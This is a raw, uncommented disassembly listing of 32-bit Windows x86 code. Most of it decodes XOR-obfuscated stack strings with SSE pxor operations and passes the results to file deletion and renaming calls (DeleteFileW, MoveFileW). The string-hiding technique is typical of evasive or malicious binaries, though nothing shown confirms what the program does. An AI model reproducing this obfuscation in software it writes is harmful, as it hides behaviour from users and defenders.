mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xef0]
push 0x104
push eax
movaps xmmword [ebp - 0xef0], xmm1
call esi
mov dword [ebp - 0x8a0], 0xe6f7e9a1
mov dword [ebp - 0x89c], 0x10af688f
mov dword [ebp - 0x898], 0x4b3cc1c6
mov dword [ebp - 0x894], 0xbc6ee7e6
mov dword [ebp - 0x1190], 0xe698e9e2
mov dword [ebp - 0x118c], 0x10dc68e1
mov dword [ebp - 0x1188], 0x4b4ec1b2
mov dword [ebp - 0x1184], 0xbc0de793
mov dword [ebp - 0x1180], 0x2c945977
mov dword [ebp - 0x117c], 0xcf9b5f0b
mov dword [ebp - 0x1178], 0xad0d24ac
mov dword [ebp - 0x1174], 0x9716a2e4
mov dword [ebp - 0x1170], 0xac7c51d7
mov dword [ebp - 0x116c], 0x453e7818
mov dword [ebp - 0x1168], 0x2e3c550a
mov dword [ebp - 0x1164], 0x6b38d9fa
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x1190]
mov dword [ebp - 0x890], 0x2cfb5903
mov dword [ebp - 0x88c], 0xcfb55f79
mov dword [ebp - 0x888], 0xad6124c8
mov dword [ebp - 0x884], 0x9738a288
mov dword [ebp - 0x880], 0xac1d51b5
mov dword [ebp - 0x87c], 0x453e7873
mov dword [ebp - 0x878], 0x2e3c550a
mov dword [ebp - 0x874], 0x6b38d9fa
movaps xmmword [ebp - 0x1190], xmm1
lea eax, [ebp - 0x638]
movaps xmm1, xmmword [ebp - 0x1180]
pxor xmm1, xmmword [ebp - 0x890]
push 0
push eax
movaps xmmword [ebp - 0x1180], xmm1
lea eax, [ebp - 0x1190]
movaps xmm1, xmmword [ebp - 0x1170]
pxor xmm1, xmmword [ebp - 0x880]
push 0x104
push eax
movaps xmmword [ebp - 0x1170], xmm1
call esi
lea eax, [ebp - 0x638]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x457bae
call esi
cmp eax, 2
je 0x457bae
call esi
mov dword [ebp - 0x1250], 0x8a9e88e7
mov dword [ebp - 0x124c], 0x648f0cea
mov dword [ebp - 0x1248], 0x2e58e1a9
mov dword [ebp - 0x1244], 0xd91a828a
mov dword [ebp - 0x1240], 0x4f9a3b23
mov dword [ebp - 0x123c], 0xefc52a12
mov dword [ebp - 0x1238], 0x812d688c
mov dword [ebp - 0x1234], 0xe54ac7a8
mov dword [ebp - 0x1230], 0xcf3d23da
mov dword [ebp - 0x122c], 0x7f5b1c1c
mov dword [ebp - 0x1228], 0x2458702a
mov dword [ebp - 0x1224], 0x6b38d9fa
movaps xmm1, xmmword [ebp - 0x1250]
mov dword [ebp - 0x8a0], 0xe6f7e9a1
mov dword [ebp - 0x89c], 0x10af688f
mov dword [ebp - 0x898], 0x4b3cc1c6
mov dword [ebp - 0x894], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1250], xmm1
movaps xmm1, xmmword [ebp - 0x1240]
mov dword [ebp - 0x890], 0x2cfb5903
mov dword [ebp - 0x88c], 0xcfb55f79
mov dword [ebp - 0x888], 0xad6124c8
mov dword [ebp - 0x884], 0x9738a288
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1240], xmm1
movaps xmm1, xmmword [ebp - 0x1230]
push eax
mov dword [ebp - 0x880], 0xac1d51b5
lea eax, [ebp - 0x1250]
mov dword [ebp - 0x87c], 0x453e7873
mov dword [ebp - 0x878], 0x2e3c550a
mov dword [ebp - 0x874], 0x6b38d9fa
pxor xmm1, xmmword [ebp - 0x880]
push eax
movaps xmmword [ebp - 0x1230], xmm1
call fcn.0044b300
mov dword [ebp - 0xbc0], 0xb5a2a8f1
lea eax, [ebp - 0xbc0]
mov dword [ebp - 0xbbc], 0x10af68ca
mov dword [ebp - 0xbb8], 0x4b3cc1c6
mov dword [ebp - 0xbb4], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0xbc0]
mov dword [ebp - 0x850], 0xe6f7e9a1
mov dword [ebp - 0x84c], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xbc0], xmm1
call fcn.005d6a9d
add esp, 0xc
lea ecx, [ebp - 0x13e0]
call fcn.0045eaa0
lea ecx, [ebp - 0x8e8]
call fcn.0045eaa0
lea ecx, [ebp - 0x900]
call fcn.0045eaa0
lea ecx, [ebp - 0x948]
call fcn.0045eaa0
lea ecx, [ebp - 0x13c8]
call fcn.0045eaa0
jmp 0x45d5b7
lea eax, [ebp - 0x638]
push eax
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x45810a
call esi
cmp eax, 2
je 0x45810a
call esi
mov esi, eax
mov dword [ebp - 0x20e0], 0x83d787e0
lea eax, [ebp - 0x20a0]
mov dword [ebp - 0x20dc], 0x62c01afd
push eax
lea eax, [ebp - 0x20e0]
mov dword [ebp - 0x20d8], 0x285faee6
push eax
lea ecx, [ebp - 0x3488]
mov dword [ebp - 0x20d4], 0xd80b9593
mov dword [ebp - 0x20d0], 0x49932e23
mov dword [ebp - 0x20cc], 0xaed77f17
mov dword [ebp - 0x20c8], 0xc3084fab
mov dword [ebp - 0x20c4], 0xe74d82ef
mov dword [ebp - 0x20c0], 0xe0511595
mov dword [ebp - 0x20bc], 0x375b5053
mov dword [ebp - 0x20b8], 0xe4e3a78
mov dword [ebp - 0x20b4], 0xe5cb699
mov dword [ebp - 0x20b0], 0x78e5b70d
mov dword [ebp - 0x20ac], 0xb6752a4
mov dword [ebp - 0x20a8], 0x832f924c
mov dword [ebp - 0x20a4], 0x7cc820ac
call fcn.0045f990
lea eax, [ebp - 0x20e0]
mov dword [ebp - 0x8b0], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x2120]
mov dword [ebp - 0x8ac], 0x10af688f
push eax
lea ecx, [ebp - 0x3480]
mov dword [ebp - 0x2120], 0xe6f7e9a1
mov dword [ebp - 0x211c], 0x10af688f
mov dword [ebp - 0x8a8], 0x4b3cc1c6
mov dword [ebp - 0x8a4], 0xbc6ee7e6
mov dword [ebp - 0x2118], 0x4b3cc1c6
mov dword [ebp - 0x2114], 0xbc6ee7e6
mov dword [ebp - 0x8a0], 0x2cfb5903
mov dword [ebp - 0x89c], 0xcfb55f79
mov dword [ebp - 0x2110], 0x2cfb5903
mov dword [ebp - 0x210c], 0xcfb55f79
mov dword [ebp - 0x898], 0xad6124c8
mov dword [ebp - 0x894], 0x9738a288
mov dword [ebp - 0x2108], 0xad6124c8
mov dword [ebp - 0x2104], 0x9738a288
mov dword [ebp - 0x890], 0xac1d51b5
mov dword [ebp - 0x88c], 0x453e7873
mov dword [ebp - 0x2100], 0xac1d51b5
mov dword [ebp - 0x20fc], 0x453e7873
mov dword [ebp - 0x888], 0x2e3c550a
mov dword [ebp - 0x884], 0x6b38d9fa
mov dword [ebp - 0x20f8], 0x2e3c550a
mov dword [ebp - 0x20f4], 0x6b38d9fa
mov dword [ebp - 0x880], 0x1cc09737
mov dword [ebp - 0x87c], 0xb67588d
mov dword [ebp - 0x20f0], 0x1cc09737
mov dword [ebp - 0x20ec], 0xb67588d
mov dword [ebp - 0x878], 0x832f924c
mov dword [ebp - 0x874], 0x7cc820ac
mov dword [ebp - 0x20e8], 0x832f924c
mov dword [ebp - 0x20e4], 0x7cc820ac
call fcn.0045f990
mov dword [ebp - 0x1310], 0x83d787e0
mov dword [ebp - 0x130c], 0x62c01afd
mov dword [ebp - 0x2160], 0x83d787e0
mov dword [ebp - 0x215c], 0x62c01afd
mov dword [ebp - 0x1308], 0x285faee6
mov dword [ebp - 0x1304], 0xd80b9593
mov dword [ebp - 0x2158], 0x285faee6
mov dword [ebp - 0x2154], 0xd80b9593
mov dword [ebp - 0x1300], 0x49932e23
mov dword [ebp - 0x12fc], 0xaed77f17
mov dword [ebp - 0x2150], 0x49932e23
mov dword [ebp - 0x214c], 0xaed77f17
mov dword [ebp - 0x12f8], 0xc3084fab
mov dword [ebp - 0x12f4], 0xe74d82ef
mov dword [ebp - 0x2148], 0xc3084fab
mov dword [ebp - 0x2144], 0xe74d82ef
mov dword [ebp - 0x12f0], 0xe0511595
mov dword [ebp - 0x12ec], 0x375b5053
mov dword [ebp - 0x2140], 0xe0511595
lea eax, [ebp - 0x2120]
mov dword [ebp - 0x213c], 0x375b5053
push eax
lea eax, [ebp - 0x2160]
mov dword [ebp - 0x12e8], 0xe4e3a78
push eax
lea ecx, [ebp - 0x3478]
mov dword [ebp - 0x12e4], 0xe5cb699
mov dword [ebp - 0x2138], 0xe4e3a78
mov dword [ebp - 0x2134], 0xe5cb699
mov dword [ebp - 0x12e0], 0x78e5b70d
mov dword [ebp - 0x12dc], 0xb6752a4
mov dword [ebp - 0x2130], 0x78e5b70d
mov dword [ebp - 0x212c], 0xb6752a4
mov dword [ebp - 0x12d8], 0x832f924c
mov dword [ebp - 0x12d4], 0x7cc820ac
mov dword [ebp - 0x2128], 0x832f924c
mov dword [ebp - 0x2124], 0x7cc820ac
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x8b0]
lea eax, [ebp - 0x1310]
pxor xmm1, xmmword [ebp - 0x1310]
movaps xmmword [ebp - 0x1310], xmm1
movaps xmm1, xmmword [ebp - 0x1300]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1300], xmm1
movaps xmm1, xmmword [ebp - 0x12f0]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x12f0], xmm1
movaps xmm1, xmmword [ebp - 0x12e0]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0x12e0], xmm1
call fcn.0044b300
add esp, 8
mov dword [ebp - 0x2ea8], 0xb5a2a8f1
lea eax, [ebp - 0x2e98]
mov dword [ebp - 0x2ea4], 0x10af68ca
lea ecx, [ebp - 0x3470]
mov dword [ebp - 0x2ea0], 0x4b3cc1c6
mov dword [ebp - 0x2e9c], 0xbc6ee7e6
push eax
lea eax, [ebp - 0x2ea8]
push eax
call fcn.0045f990
lea eax, [ebp - 0x2ea8]
mov dword [ebp - 0x850], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x2eb8]
mov dword [ebp - 0x84c], 0x10af688f
push eax
lea ecx, [ebp - 0x3468]
mov dword [ebp - 0x2eb8], 0xe6f7e9a1
mov dword [ebp - 0x2eb4], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x2eb0], 0x4b3cc1c6
mov dword [ebp - 0x2eac], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2eb8]
mov dword [ebp - 0xbd0], 0xb5a2a8f1
push eax
lea eax, [ebp - 0x2ec8]
mov dword [ebp - 0xbcc], 0x10af68ca
push eax
lea ecx, [ebp - 0x3460]
mov dword [ebp - 0x2ec8], 0xb5a2a8f1
mov dword [ebp - 0x2ec4], 0x10af68ca
mov dword [ebp - 0xbc8], 0x4b3cc1c6
mov dword [ebp - 0xbc4], 0xbc6ee7e6
mov dword [ebp - 0x2ec0], 0x4b3cc1c6
mov dword [ebp - 0x2ebc], 0xbc6ee7e6
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0xbd0]
pxor xmm1, xmmword [ebp - 0xbd0]
push eax
movaps xmmword [ebp - 0xbd0], xmm1
call fcn.005d6a9d
add esp, 4
lea ecx, [ebp - 0x13e0]
call fcn.0045eaa0
lea ecx, [ebp - 0x8e8]
call fcn.0045eaa0
lea ecx, [ebp - 0x900]
call fcn.0045eaa0
jmp 0x45d5a1
lea eax, [ebp - 0x638]
push eax
lea ecx, [ebp - 0x2328]
call fcn.0045e6a0
lea ecx, [ebp - 0x2328]
mov byte [ebp - 4], 0x10
call fcn.0044da70
lea ecx, [ebp - 0x2328]
mov dword [0x6806e4], eax
call fcn.0045e640
lea ecx, [ebp - 0x8e8]
call fcn.0045e8e0
sub esp, 0x18
mov dword [ebp - 0x2bf4], eax
mov edi, esp
mov dword [ebp - 0x2bfc], esp
mov dword [ebp - 0x2c00], edi
mov ecx, edi
push dword [ebp - 0x2bfc]
call fcn.00461710
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x2bf4]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x2bf4], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x458180
sub ecx, dword [ebp - 0x2bf4]
push ecx
push edx
mov ecx, edi
call fcn.00461730
sub esp, 0x18
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x948]
mov ecx, esp
push eax
call fcn.0045ec30
mov byte [ebp - 4], 5
call fcn.0044dbb0
mov edi, eax
add esp, 0x30
cmp edi, 0x1a0a
jne 0x458527
mov dword [ebp - 0x1350], 0xc6808cef
lea eax, [ebp - 0x1350]
mov dword [ebp - 0x134c], 0x63dd0df9
mov dword [ebp - 0x1348], 0x6b52aeaf
mov dword [ebp - 0x1344], 0xd91a8282
mov dword [ebp - 0x1340], 0x489e2d60
mov dword [ebp - 0x133c], 0xa3c57f55
mov dword [ebp - 0x1338], 0xc81245ad
mov dword [ebp - 0x1334], 0xf348d7a8
mov dword [ebp - 0x1330], 0x8c7825d4
mov dword [ebp - 0x132c], 0x291e1707
mov dword [ebp - 0x1328], 0x4b48266b
mov dword [ebp - 0x1324], 0x718ad89
mov dword [ebp - 0x1320], 0x79a4f658
mov dword [ebp - 0x131c], 0x6e1178ff
mov dword [ebp - 0x1318], 0xec46e13e
mov dword [ebp - 0x1314], 0x7cc20ec2
movaps xmm1, xmmword [ebp - 0x1350]
mov dword [ebp - 0x8b0], 0xe6f7e9a1
mov dword [ebp - 0x8ac], 0x10af688f
mov dword [ebp - 0x8a8], 0x4b3cc1c6
mov dword [ebp - 0x8a4], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x8b0]
movaps xmmword [ebp - 0x1350], xmm1
movaps xmm1, xmmword [ebp - 0x1340]
mov dword [ebp - 0x8a0], 0x2cfb5903
mov dword [ebp - 0x89c], 0xcfb55f79
mov dword [ebp - 0x898], 0xad6124c8
mov dword [ebp - 0x894], 0x9738a288
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1340], xmm1
movaps xmm1, xmmword [ebp - 0x1330]
mov dword [ebp - 0x890], 0xac1d51b5
mov dword [ebp - 0x88c], 0x453e7873
mov dword [ebp - 0x888], 0x2e3c550a
mov dword [ebp - 0x884], 0x6b38d9fa
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1330], xmm1
movaps xmm1, xmmword [ebp - 0x1320]
mov dword [ebp - 0x880], 0x1cc09737
mov dword [ebp - 0x87c], 0xb67588d
mov dword [ebp - 0x878], 0x832f924c
mov dword [ebp - 0x874], 0x7cc820ac
pxor xmm1, xmmword [ebp - 0x880]
push eax
movaps xmmword [ebp - 0x1320], xmm1
call fcn.0044b300
mov dword [ebp - 0x1160], 0x888086e5
add esp, 4
mov dword [ebp - 0x115c], 0x74ce07e3
mov dword [ebp - 0x1158], 0x2555ade6
mov dword [ebp - 0x1154], 0xd44edd8d
mov dword [ebp - 0x1150], 0x168b2d77
mov dword [ebp - 0x114c], 0xa1c37056
mov dword [ebp - 0x1148], 0x831945a0
mov dword [ebp - 0x1144], 0xb855cdeb
mov dword [ebp - 0x1140], 0xc87c3ed9
mov dword [ebp - 0x113c], 0x2b130a16
mov dword [ebp - 0x1138], 0x2e36226f
mov dword [ebp - 0x1134], 0x6b38d9fa
movaps xmm1, xmmword [ebp - 0x1160]
mov dword [ebp - 0x8a0], 0xe6f7e9a1
mov dword [ebp - 0x89c], 0x10af688f
mov dword [ebp - 0x898], 0x4b3cc1c6
mov dword [ebp - 0x894], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1160], xmm1
movaps xmm1, xmmword [ebp - 0x1150]
mov dword [ebp - 0x890], 0x2cfb5903
mov dword [ebp - 0x88c], 0xcfb55f79
mov dword [ebp - 0x888], 0xad6124c8
mov dword [ebp - 0x884], 0x9738a288
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1150], xmm1
movaps xmm1, xmmword [ebp - 0x1140]
mov dword [ebp - 0x880], 0xac1d51b5
mov dword [ebp - 0x87c], 0x453e7873
mov dword [ebp - 0x878], 0x2e3c550a
mov dword [ebp - 0x874], 0x6b38d9fa
pxor xmm1, xmmword [ebp - 0x880]
movaps xmmword [ebp - 0x1140], xmm1
lea eax, [ebp - 0x1160]
push eax
call fcn.0044b300
mov dword [ebp - 0xbe0], 0xb5a2a8f1
lea eax, [ebp - 0xbe0]
mov dword [ebp - 0xbdc], 0x10af68ca
add esp, 4
mov dword [ebp - 0xbd8], 0x4b3cc1c6
mov dword [ebp - 0xbd4], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0xbe0]
mov dword [ebp - 0x850], 0xe6f7e9a1
mov dword [ebp - 0x84c], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xbe0], xmm1
call fcn.005d6a9d
add esp, 4
jmp 0x457b72
cmp edi, 0x100000
jae 0x4588a8
lea eax, [ebp - 0x1660]
mov dword [ebp - 0x1680], 0xc6aac3fa
push eax
lea eax, [ebp - 0x1680]
mov dword [ebp - 0x167c], 0x71d906c6
push eax
lea ecx, [ebp - 0x3458]
mov dword [ebp - 0x1678], 0x6b58a8aa
mov dword [ebp - 0x1674], 0xd9148e95
mov dword [ebp - 0x1670], 0x48de7939
mov dword [ebp - 0x166c], 0xcfb55f73
mov dword [ebp - 0x1668], 0xad6124c8
mov dword [ebp - 0x1664], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x1640]
mov dword [ebp - 0x860], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x1660]
mov dword [ebp - 0x85c], 0x10af688f
push eax
lea ecx, [ebp - 0x3450]
mov dword [ebp - 0x1660], 0xe6f7e9a1
mov dword [ebp - 0x165c], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
mov dword [ebp - 0x1658], 0x4b3cc1c6
mov dword [ebp - 0x1654], 0xbc6ee7e6
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x1650], 0x2cfb5903
mov dword [ebp - 0x164c], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
mov dword [ebp - 0x1648], 0xad6124c8
mov dword [ebp - 0x1644], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x1620]
mov dword [ebp - 0xf20], 0xc6aac3fa
push eax
lea eax, [ebp - 0x1640]
mov dword [ebp - 0xf1c], 0x71d906c6
push eax
lea ecx, [ebp - 0x3448]
mov dword [ebp - 0x1640], 0xc6aac3fa
mov dword [ebp - 0x163c], 0x71d906c6
mov dword [ebp - 0xf18], 0x6b58a8aa
mov dword [ebp - 0xf14], 0xd9148e95
mov dword [ebp - 0x1638], 0x6b58a8aa
mov dword [ebp - 0x1634], 0xd9148e95
mov dword [ebp - 0xf10], 0x48de7939
mov dword [ebp - 0xf0c], 0xcfb55f73
mov dword [ebp - 0x1630], 0x48de7939
mov dword [ebp - 0x162c], 0xcfb55f73
mov dword [ebp - 0xf08], 0xad6124c8
mov dword [ebp - 0xf04], 0x9738a288
mov dword [ebp - 0x1628], 0xad6124c8
mov dword [ebp - 0x1624], 0x9738a288
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xf20]
lea eax, [ebp - 0xf20]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xf20], xmm1
movaps xmm1, xmmword [ebp - 0xf10]
pxor xmm1, xmmword [ebp - 0x850]
push edi
push eax
movaps xmmword [ebp - 0xf10], xmm1
call fcn.0044b300
add esp, 8
mov dword [ebp - 0x2ed8], 0xb5a2a8f1
lea eax, [ebp - 0x2ec8]
mov dword [ebp - 0x2ed4], 0x10af68ca
lea ecx, [ebp - 0x3438]
mov dword [ebp - 0x2ed0], 0x4b3cc1c6
mov dword [ebp - 0x2ecc], 0xbc6ee7e6
push eax
lea eax, [ebp - 0x2ed8]
push eax
call fcn.0045f990
mov dword [ebp - 0x850], 0xe6f7e9a1
mov dword [ebp - 0x84c], 0x10af688f
lea eax, [ebp - 0x2ed8]
mov dword [ebp - 0x2ee8], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x2ee8]
mov dword [ebp - 0x2ee4], 0x10af688f
push eax
lea ecx, [ebp - 0x3430]
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x2ee0], 0x4b3cc1c6
mov dword [ebp - 0x2edc], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2ee8]
mov dword [ebp - 0xbf0], 0xb5a2a8f1
push eax
lea eax, [ebp - 0x2ef8]
mov dword [ebp - 0xbec], 0x10af68ca
push eax
lea ecx, [ebp - 0x3428]
mov dword [ebp - 0x2ef8], 0xb5a2a8f1
mov dword [ebp - 0x2ef4], 0x10af68ca
mov dword [ebp - 0xbe8], 0x4b3cc1c6
mov dword [ebp - 0xbe4], 0xbc6ee7e6
mov dword [ebp - 0x2ef0], 0x4b3cc1c6
mov dword [ebp - 0x2eec], 0xbc6ee7e6
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xbf0]
lea eax, [ebp - 0xbf0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xbf0], xmm1
call fcn.005d6a9d
add esp, 4
lea ecx, [ebp - 0x13e0]
call fcn.0045eaa0
lea ecx, [ebp - 0x8e8]
call fcn.0045eaa0
lea ecx, [ebp - 0x900]
call fcn.0045eaa0
jmp 0x45d5a1
cmp edi, dword [0x6806e4]
jne 0x458ad6
lea eax, [ebp - 0x1600]
mov dword [ebp - 0x1620], 0xc6aac3fa
push eax
lea eax, [ebp - 0x1620]
mov dword [ebp - 0x161c], 0x7ed807cb
push eax
lea ecx, [ebp - 0x3420]
mov dword [ebp - 0x1618], 0x2f5daeaa
mov dword [ebp - 0x1614], 0xd50594c6
mov dword [ebp - 0x1610], 0x489e2973
mov dword [ebp - 0x160c], 0xcfb55f73
mov dword [ebp - 0x1608], 0xad6124c8
mov dword [ebp - 0x1604], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x15e0]
mov dword [ebp - 0x860], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x1600]
mov dword [ebp - 0x85c], 0x10af688f
push eax
lea ecx, [ebp - 0x3418]
mov dword [ebp - 0x1600], 0xe6f7e9a1
mov dword [ebp - 0x15fc], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
mov dword [ebp - 0x15f8], 0x4b3cc1c6
mov dword [ebp - 0x15f4], 0xbc6ee7e6
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x15f0], 0x2cfb5903
mov dword [ebp - 0x15ec], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
mov dword [ebp - 0x15e8], 0xad6124c8
mov dword [ebp - 0x15e4], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x15c0]
mov dword [ebp - 0xf40], 0xc6aac3fa
push eax
lea eax, [ebp - 0x15e0]
mov dword [ebp - 0xf3c], 0x7ed807cb
push eax
lea ecx, [ebp - 0x3410]
mov dword [ebp - 0x15e0], 0xc6aac3fa
mov dword [ebp - 0x15dc], 0x7ed807cb
mov dword [ebp - 0xf38], 0x2f5daeaa
mov dword [ebp - 0xf34], 0xd50594c6
mov dword [ebp - 0x15d8], 0x2f5daeaa
mov dword [ebp - 0x15d4], 0xd50594c6
mov dword [ebp - 0xf30], 0x489e2973
mov dword [ebp - 0xf2c], 0xcfb55f73
mov dword [ebp - 0x15d0], 0x489e2973
mov dword [ebp - 0x15cc], 0xcfb55f73
mov dword [ebp - 0xf28], 0xad6124c8
mov dword [ebp - 0xf24], 0x9738a288
mov dword [ebp - 0x15c8], 0xad6124c8
mov dword [ebp - 0x15c4], 0x9738a288
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xf40]
lea eax, [ebp - 0xf40]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xf40], xmm1
movaps xmm1, xmmword [ebp - 0xf30]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xf30], xmm1
call fcn.0044b300
add esp, 4
mov byte [0x6806d9], 1
jmp 0x458e84
lea eax, [ebp - 0x2ef8]
mov dword [ebp - 0x2f08], 0x888086e5
push eax
lea eax, [ebp - 0x2f08]
mov dword [ebp - 0x2f04], 0x74ce07e3
push eax
lea ecx, [ebp - 0x3408]
mov dword [ebp - 0x2f00], 0x715bafaf
mov dword [ebp - 0x2efc], 0xbc6ee7ec
call fcn.0045f990
lea eax, [ebp - 0x2f08]
mov dword [ebp - 0x850], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x2f18]
mov dword [ebp - 0x84c], 0x10af688f
push eax
lea ecx, [ebp - 0x3400]
mov dword [ebp - 0x2f18], 0xe6f7e9a1
mov dword [ebp - 0x2f14], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x2f10], 0x4b3cc1c6
mov dword [ebp - 0x2f0c], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2f18]
mov dword [ebp - 0xc00], 0x888086e5
push eax
lea eax, [ebp - 0x2f28]
mov dword [ebp - 0xbfc], 0x74ce07e3
push eax
lea ecx, [ebp - 0x33f8]
mov dword [ebp - 0x2f28], 0x888086e5
mov dword [ebp - 0x2f24], 0x74ce07e3
mov dword [ebp - 0xbf8], 0x715bafaf
mov dword [ebp - 0xbf4], 0xbc6ee7ec
mov dword [ebp - 0x2f20], 0x715bafaf
mov dword [ebp - 0x2f1c], 0xbc6ee7ec
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xc00]
lea eax, [ebp - 0xc00]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xc00], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x15c0], 0xe698e9e2
lea eax, [ebp - 0x15a0]
mov dword [ebp - 0x15bc], 0x10dc68e1
lea ecx, [ebp - 0x33f0]
mov dword [ebp - 0x15b8], 0x4b4ec1b2
mov dword [ebp - 0x15b4], 0xbc0de793
push eax
lea eax, [ebp - 0x15c0]
mov dword [ebp - 0x15b0], 0x2c945977
push eax
mov dword [ebp - 0x15ac], 0xcf9b5f0b
mov dword [ebp - 0x15a8], 0xad0d24ac
mov dword [ebp - 0x15a4], 0x9738a2e4
call fcn.0045f990
lea eax, [ebp - 0x1580]
mov dword [ebp - 0x860], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x15a0]
mov dword [ebp - 0x85c], 0x10af688f
push eax
lea ecx, [ebp - 0x33e8]
mov dword [ebp - 0x15a0], 0xe6f7e9a1
mov dword [ebp - 0x159c], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
mov dword [ebp - 0x1598], 0x4b3cc1c6
mov dword [ebp - 0x1594], 0xbc6ee7e6
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x1590], 0x2cfb5903
mov dword [ebp - 0x158c], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
mov dword [ebp - 0x1588], 0xad6124c8
mov dword [ebp - 0x1584], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x1560]
mov dword [ebp - 0xf60], 0xe698e9e2
push eax
lea eax, [ebp - 0x1580]
mov dword [ebp - 0xf5c], 0x10dc68e1
push eax
lea ecx, [ebp - 0x33e0]
mov dword [ebp - 0x1580], 0xe698e9e2
mov dword [ebp - 0x157c], 0x10dc68e1
mov dword [ebp - 0xf58], 0x4b4ec1b2
mov dword [ebp - 0xf54], 0xbc0de793
mov dword [ebp - 0x1578], 0x4b4ec1b2
mov dword [ebp - 0x1574], 0xbc0de793
mov dword [ebp - 0xf50], 0x2c945977
mov dword [ebp - 0xf4c], 0xcf9b5f0b
mov dword [ebp - 0x1570], 0x2c945977
mov dword [ebp - 0x156c], 0xcf9b5f0b
mov dword [ebp - 0xf48], 0xad0d24ac
mov dword [ebp - 0xf44], 0x9738a2e4
mov dword [ebp - 0x1568], 0xad0d24ac
mov dword [ebp - 0x1564], 0x9738a2e4
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xf60]
lea eax, [ebp - 0xf60]
pxor xmm1, xmmword [ebp - 0x860]
sub esp, 0x18
movaps xmmword [ebp - 0xf60], xmm1
mov ecx, esp
movaps xmm1, xmmword [ebp - 0xf50]
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2bfc], esp
